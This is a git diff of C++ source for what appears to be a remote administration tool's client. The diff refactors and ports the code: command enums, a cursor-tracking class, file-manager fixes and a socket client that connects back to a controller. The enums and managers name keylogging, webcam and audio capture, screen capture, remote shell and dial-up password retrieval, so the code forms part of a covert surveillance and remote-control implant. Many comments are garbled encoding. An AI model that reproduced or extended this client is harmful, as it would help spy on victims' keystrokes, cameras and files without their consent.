COMMAND_OPEN_URL_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
COMMAND_OPEN_URL_SHOW, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
COMMAND_RENAME_REMARK, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע
COMMAND_REPLAY_HEARTBEAT, // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SERVICES, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_REGEDIT,
COMMAND_TALK, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>֤
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
TOKEN_HEARTBEAT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_LOGIN, // <20><><EFBFBD>߰<EFBFBD>
TOKEN_DRIVE_LIST, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_FILE_LIST, // <20>ļ<EFBFBD><C4BC>б<EFBFBD>
TOKEN_FILE_SIZE, // <20>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD><CAB1>
TOKEN_FILE_DATA, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
TOKEN_TRANSFER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_DELETE_FINISH, // ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_GET_TRANSFER_MODE, // <20>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ʽ
TOKEN_GET_FILEDATA, // Զ<>̵õ<CCB5><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
TOKEN_CREATEFOLDER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_DATA_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_RENAME_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_EXCEPTION, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_BITMAPINFO, // <20><>Ļ<EFBFBD><EFBFBD><E9BFB4>BITMAPINFO
TOKEN_FIRSTSCREEN, // <20><>Ļ<EFBFBD><EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB>ͼ
TOKEN_NEXTSCREEN, // <20><>Ļ<EFBFBD><EFBFBD><E9BFB4><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ͼ
TOKEN_CLIPBOARD_TEXT, // <20><>Ļ<EFBFBD>鿴ʱ<E9BFB4><CAB1><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_WEBCAM_BITMAPINFO, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>BITMAPINFOHEADER
TOKEN_WEBCAM_DIB, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_AUDIO_START, // <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_AUDIO_DATA, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_KEYBOARD_START, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʼ
TOKEN_KEYBOARD_DATA, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_SHELL_START, // Զ<><D4B6><EFBFBD>ն˿<D5B6>ʼ
TOKEN_SERVERLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_SERVICELIST, // ˢ<>·<EFBFBD><C2B7><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_SERVICECONFIG, // <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
COMMAND_REG_FIND, //ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
TOKEN_REG_KEY,
TOKEN_REG_PATH,
COMMAND_BYE
};
#include "common/commands.h"
typedef struct _THREAD_ARG_LIST
{
@@ -130,12 +11,12 @@ typedef struct _THREAD_ARG_LIST
HANDLE hEvent;
}THREAD_ARG_LIST, *LPTHREAD_ARG_LIST;
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes, //<2F><>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
SIZE_T dwStackSize, //<2F>߳<EFBFBD>ջ<EFBFBD>Ĵ<EFBFBD>С 0
LPTHREAD_START_ROUTINE StartAddress, //<2F>̺߳<DFB3><CCBA><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD> MyMain
LPVOID lParam, //char* strHost IP
DWORD dwCreationFlags, //0 4
LPDWORD ThreadId, bool bInteractive=FALSE);
typedef struct UserParam
{
BYTE* buffer;
int length;
~UserParam() { SAFE_DELETE_ARRAY(buffer); }
}UserParam;
DWORD WINAPI ThreadProc(LPVOID lParam);
@@ -149,3 +30,4 @@ DWORD WINAPI LoopVideoManager(LPVOID lParam);
DWORD WINAPI LoopAudioManager(LPVOID lParam);
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
DWORD WINAPI LoopServicesManager(LPVOID lParam);
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);

89
client/CursorInfo.h Normal file
View File

@@ -0,0 +1,89 @@
// CursorInfor.h: interface for the CCursorInfor class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
#define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#define ALGORITHM_GRAY 0
#define ALGORITHM_DIFF 1
#define ALGORITHM_H264 2
#define MAX_CURSOR_TYPE 16
class CCursorInfo
{
private:
LPCTSTR m_CursorResArray[MAX_CURSOR_TYPE];
HCURSOR m_CursorHandleArray[MAX_CURSOR_TYPE];
public:
CCursorInfo()
{
LPCTSTR CursorResArray[MAX_CURSOR_TYPE] =
{
IDC_APPSTARTING,
IDC_ARROW,
IDC_CROSS,
IDC_HAND,
IDC_HELP,
IDC_IBEAM,
IDC_ICON,
IDC_NO,
IDC_SIZE,
IDC_SIZEALL,
IDC_SIZENESW,
IDC_SIZENS,
IDC_SIZENWSE,
IDC_SIZEWE,
IDC_UPARROW,
IDC_WAIT
};
for (int i = 0; i < MAX_CURSOR_TYPE; ++i)
{
m_CursorResArray[i] = CursorResArray[i];
m_CursorHandleArray[i] = LoadCursor(NULL, CursorResArray[i]);
}
}
virtual ~CCursorInfo()
{
for (int i = 0; i < MAX_CURSOR_TYPE; ++i)
DestroyCursor(m_CursorHandleArray[i]);
}
int getCurrentCursorIndex()
{
CURSORINFO ci;
ci.cbSize = sizeof(CURSORINFO);
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
return -1;
int i;
for (i = 0; i < MAX_CURSOR_TYPE; ++i)
{
if (ci.hCursor == m_CursorHandleArray[i])
break;
}
DestroyCursor(ci.hCursor);
int nIndex = i == MAX_CURSOR_TYPE ? -1 : i;
return nIndex;
}
HCURSOR getCursorHandle( int nIndex )
{
if (nIndex >= 0 && nIndex < MAX_CURSOR_TYPE)
return m_CursorHandleArray[nIndex];
else
return NULL;
}
};
#endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)

View File

@@ -1,40 +0,0 @@
// CursorInfor.cpp: implementation of the CCursorInfor class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "CursorInfor.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CCursorInfor::CCursorInfor()
{
}
CCursorInfor::~CCursorInfor()
{
}
int CCursorInfor::GetCurrentCursorIndex()
{
CURSORINFO ci;
ci.cbSize = sizeof(CURSORINFO);
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
{
return -1;
}
int iIndex = 0;
for (iIndex = 0; iIndex < MAX_CURSOR_TYPE; iIndex++)
{
break;
}
DestroyCursor(ci.hCursor);
return iIndex == MAX_CURSOR_TYPE ? -1 : iIndex;
}

View File

@@ -1,22 +0,0 @@
// CursorInfor.h: interface for the CCursorInfor class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
#define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#define MAX_CURSOR_TYPE 16
class CCursorInfor
{
public:
CCursorInfor();
virtual ~CCursorInfor();
int GetCurrentCursorIndex();
};
#endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)

View File

@@ -1,3 +1,4 @@
EXPORTS
TestRun
StopRun
Run

View File

@@ -3,6 +3,7 @@
//////////////////////////////////////////////////////////////////////
#include "FileManager.h"
#include <shellapi.h>
typedef struct
{
@@ -14,7 +15,7 @@ typedef struct
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CFileManager::CFileManager(CClientSocket *pClient, int h):CManager(pClient)
CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(pClient)
{
m_nTransferMode = TRANSFER_MODE_NORMAL;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>, <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
@@ -26,7 +27,7 @@ CFileManager::~CFileManager()
m_UploadList.clear();
}
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
VOID CFileManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
{
switch (lpBuffer[0])
{
@@ -251,8 +252,8 @@ UINT CFileManager::SendDriveList()
unsigned __int64 HDAmount = 0;
unsigned __int64 HDFreeSpace = 0;
unsigned long AmntMB = 0; // <20>ܴ<EFBFBD>С
unsigned long FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
unsigned __int64 AmntMB = 0; // <20>ܴ<EFBFBD>С
unsigned __int64 FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
DWORD dwOffset = 1;
for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
@@ -260,7 +261,7 @@ UINT CFileManager::SendDriveList()
memset(FileSystem, 0, sizeof(FileSystem));
// <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
SHFILEINFO sfi;
SHFILEINFO sfi = {};
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
int nTypeNameLen = lstrlen(sfi.szTypeName) + 1;
@@ -312,6 +313,10 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
WIN32_FIND_DATA FindFileData;
lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize);
if (lpList==NULL)
{
return 0;
}
wsprintf(strPath, "%s\\*.*", lpszDirectory);
hFile = FindFirstFile(strPath, &FindFileData);
@@ -338,6 +343,8 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
{
nBufferSize += MAX_PATH * 2;
lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
if (lpList == NULL)
continue;
}
pszFileName = FindFileData.cFileName;
if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0)
@@ -427,6 +434,10 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
int nPacketSize = lstrlen(lpszFileName) + 10;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
if (bPacket==NULL)
{
return 0;
}
memset(bPacket, 0, nPacketSize);
bPacket[0] = TOKEN_FILE_SIZE;
@@ -442,7 +453,7 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
UINT CFileManager::SendFileData(LPBYTE lpBuffer)
{
UINT nRet;
UINT nRet = 0;
FILESIZE *pFileSize;
char *lpFileName;
@@ -467,6 +478,8 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer)
DWORD nNumberOfBytesRead = 0;
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
if (lpPacket == NULL)
return -1;
// Token, <20><>С<EFBFBD><D0A1>ƫ<EFBFBD>ƣ<EFBFBD><C6A3>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
lpPacket[0] = TOKEN_FILE_DATA;
memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE));
@@ -491,7 +504,7 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer)
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
void CFileManager::UploadNext()
{
list <string>::iterator it = m_UploadList.begin();
std::list <std::string>::iterator it = m_UploadList.begin();
// ɾ<><C9BE>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_UploadList.erase(it);
// <20><><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD>
@@ -514,7 +527,6 @@ int CFileManager::SendToken(BYTE bToken)
bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
{
if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\')
{
FixedUploadList((char *)lpBuffer);
@@ -529,7 +541,7 @@ bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
m_UploadList.push_back((char *)lpBuffer);
}
list <string>::iterator it = m_UploadList.begin();
std::list <std::string>::iterator it = m_UploadList.begin();
// <20><><EFBFBD>͵<EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
SendFileSize((*it).c_str());
@@ -592,7 +604,7 @@ void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer)
strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8);
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + 1)) + pFileSize->dwSizeLow;
m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + long long(1))) + pFileSize->dwSizeLow;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
MakeSureDirectoryPathExists(m_strCurrentProcessFileName);
@@ -638,7 +650,7 @@ void CFileManager::GetFileData()
// 1<>ֽ<EFBFBD>Token,<2C><><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƹ<EFBFBD><C6B8><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>λ
BYTE bToken[9];
DWORD dwCreationDisposition; // <20>ļ<EFBFBD><C4BC>򿪷<EFBFBD>ʽ
DWORD dwCreationDisposition = 0; // <20>ļ<EFBFBD><C4BC>򿪷<EFBFBD>ʽ
memset(bToken, 0, sizeof(bToken));
bToken[0] = TOKEN_DATA_CONTINUE;

View File

@@ -12,7 +12,6 @@ typedef IOCPClient CClientSocket;
#include <string>
#include "Manager.h"
using namespace std;
#if _MSC_VER > 1000
#pragma once
@@ -28,12 +27,12 @@ typedef struct
class CFileManager : public CManager
{
public:
void OnReceive(LPBYTE lpBuffer, UINT nSize);
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
UINT SendDriveList();
CFileManager(CClientSocket *pClient, int h = 0);
CFileManager(CClientSocket *pClient, int h = 0, void* user=nullptr);
virtual ~CFileManager();
private:
list <string> m_UploadList;
std::list <std::string> m_UploadList;
UINT m_nTransferMode;
char m_strCurrentProcessFileName[MAX_PATH]; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
__int64 m_nCurrentProcessFileLength; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ij<EFBFBD><C4B3><EFBFBD>

View File

@@ -1,41 +1,124 @@
// IOCPClient.cpp: implementation of the IOCPClient class.
//
//////////////////////////////////////////////////////////////////////
#ifdef _WIN32
#include "stdafx.h"
#else
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netinet/in.h> // For struct sockaddr_in
#include <unistd.h> // For close()
#include <cstring> // For memset()
inline int WSAGetLastError() { return -1; }
#define USING_COMPRESS 1
#endif
#include "IOCPClient.h"
#include <IOSTREAM>
#include "zconf.h"
#include "zlib.h"
#include <assert.h>
using namespace std;
#include <string>
#if USING_ZLIB
#include "zlib/zlib.h"
#define Z_FAILED(p) (Z_OK != (p))
#define Z_SUCCESS(p) (!Z_FAILED(p))
#else
#if USING_LZ4
#include "lz4/lz4.h"
#pragma comment(lib, "lz4/lz4.lib")
#define Z_FAILED(p) (0 == (p))
#define Z_SUCCESS(p) (!Z_FAILED(p))
#define compress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
#define uncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
#else
#include "zstd/zstd.h"
#ifdef _WIN64
#pragma comment(lib, "zstd/zstd_x64.lib")
#else
#pragma comment(lib, "zstd/zstd.lib")
#endif
#define Z_FAILED(p) ZSTD_isError(p)
#define Z_SUCCESS(p) (!Z_FAILED(p))
#define ZSTD_CLEVEL 5
#if USING_CTX
#define compress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen)
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
#else
#define compress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
#endif
#endif
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
VOID IOCPClient::setManagerCallBack(class CManager* Manager)
#ifndef _WIN32
BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180) {
// <20><><EFBFBD><EFBFBD> TCP <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
int enable = 1;
if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) {
std::cerr << "Failed to enable TCP keep-alive" << std::endl;
return FALSE;
}
// <20><><EFBFBD><EFBFBD> TCP_KEEPIDLE (3<><33><EFBFBD>ӿ<EFBFBD><D3BF>к<EFBFBD><D0BA><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD> keep-alive <20><>)
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
std::cerr << "Failed to set TCP_KEEPIDLE" << std::endl;
return FALSE;
}
// <20><><EFBFBD><EFBFBD> TCP_KEEPINTVL (5<><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>)
int keepAliveInterval = 5; // 5<><35>
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) {
std::cerr << "Failed to set TCP_KEEPINTVL" << std::endl;
return FALSE;
}
// <20><><EFBFBD><EFBFBD> TCP_KEEPCNT (<28><><EFBFBD><EFBFBD>5<EFBFBD><35>̽<EFBFBD><CCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ӶϿ<D3B6>)
int keepAliveProbes = 5;
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) {
std::cerr << "Failed to set TCP_KEEPCNT" << std::endl;
return FALSE;
}
std::cout << "TCP keep-alive settings applied successfully" << std::endl;
return TRUE;
}
#endif
VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
{
m_Manager = Manager;
m_DataProcess = dataProcess;
}
IOCPClient::IOCPClient(bool exit_while_disconnect)
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
{
m_Manager = NULL;
#ifdef _WIN32
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
#endif
m_sClientSocket = INVALID_SOCKET;
m_hWorkThread = NULL;
m_bWorkThread = S_STOP;
memset(m_szPacketFlag, 0, sizeof(m_szPacketFlag));
memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH);
m_bIsRunning = TRUE;
m_bConnected = FALSE;
InitializeCriticalSection(&m_cs);
m_exit_while_disconnect = exit_while_disconnect;
#if USING_CTX
m_Cctx = ZSTD_createCCtx();
m_Dctx = ZSTD_createDCtx();
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_compressionLevel, ZSTD_CLEVEL);
#endif
}
IOCPClient::~IOCPClient()
@@ -54,17 +137,57 @@ IOCPClient::~IOCPClient()
m_hWorkThread = NULL;
}
#ifdef _WIN32
WSACleanup();
#endif
while (S_RUN == m_bWorkThread)
Sleep(10);
DeleteCriticalSection(&m_cs);
m_bWorkThread = S_END;
#if USING_CTX
ZSTD_freeCCtx(m_Cctx);
ZSTD_freeDCtx(m_Dctx);
#endif
}
BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡIP<49><50>ַ
inline std::string GetIPAddress(const char *hostName)
{
#ifdef _WIN32
struct hostent *host = gethostbyname(hostName);
#ifdef _DEBUG
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6");
for (int i = 0; host->h_addr_list[i]; ++i)
Mprintf("<EFBFBD><EFBFBD>ȡ<EFBFBD>ĵ<EFBFBD>%d<><64>IP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i]));
#endif
if (host == NULL || host->h_addr_list == NULL)
return "";
return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
#else
struct addrinfo hints, * res;
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_INET; // IPv4
hints.ai_socktype = SOCK_STREAM; // TCP socket
int status = getaddrinfo(hostName, nullptr, &hints, &res);
if (status != 0) {
std::cerr << "getaddrinfo failed: " << gai_strerror(status) << std::endl;
return "";
}
struct sockaddr_in* addr = reinterpret_cast<struct sockaddr_in*>(res->ai_addr);
char ip[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip));
std::cout << "IP Address: " << ip << std::endl;
freeaddrinfo(res); // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD>ͷŵ<CDB7>ַ<EFBFBD><D6B7>Ϣ
return ip;
#endif
}
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
{
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -73,11 +196,15 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
return FALSE;
}
#ifdef _WIN32
//<2F><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˵Ľṹ
sockaddr_in ServerAddr;
ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
ServerAddr.sin_port = htons(uPort);
ServerAddr.sin_addr.S_un.S_addr = inet_addr(szServerIP);
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
std::string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
? szServerIP : GetIPAddress(szServerIP);
ServerAddr.sin_addr.S_un.S_addr = inet_addr(server.c_str());
if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
{
@@ -88,12 +215,42 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
}
return FALSE;
}
#else
sockaddr_in ServerAddr = {};
ServerAddr.sin_family = AF_INET; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
ServerAddr.sin_port = htons(uPort);
std::string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
? szServerIP : GetIPAddress(szServerIP);
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
// ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6)
if (inet_pton(AF_INET, server.c_str(), &ServerAddr.sin_addr) <= 0) {
std::cerr << "Invalid address or address not supported" << std::endl;
return false;
}
// <20><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD>
m_sClientSocket = socket(AF_INET, SOCK_STREAM, 0);
if (m_sClientSocket == -1) {
std::cerr << "Failed to create socket" << std::endl;
return false;
}
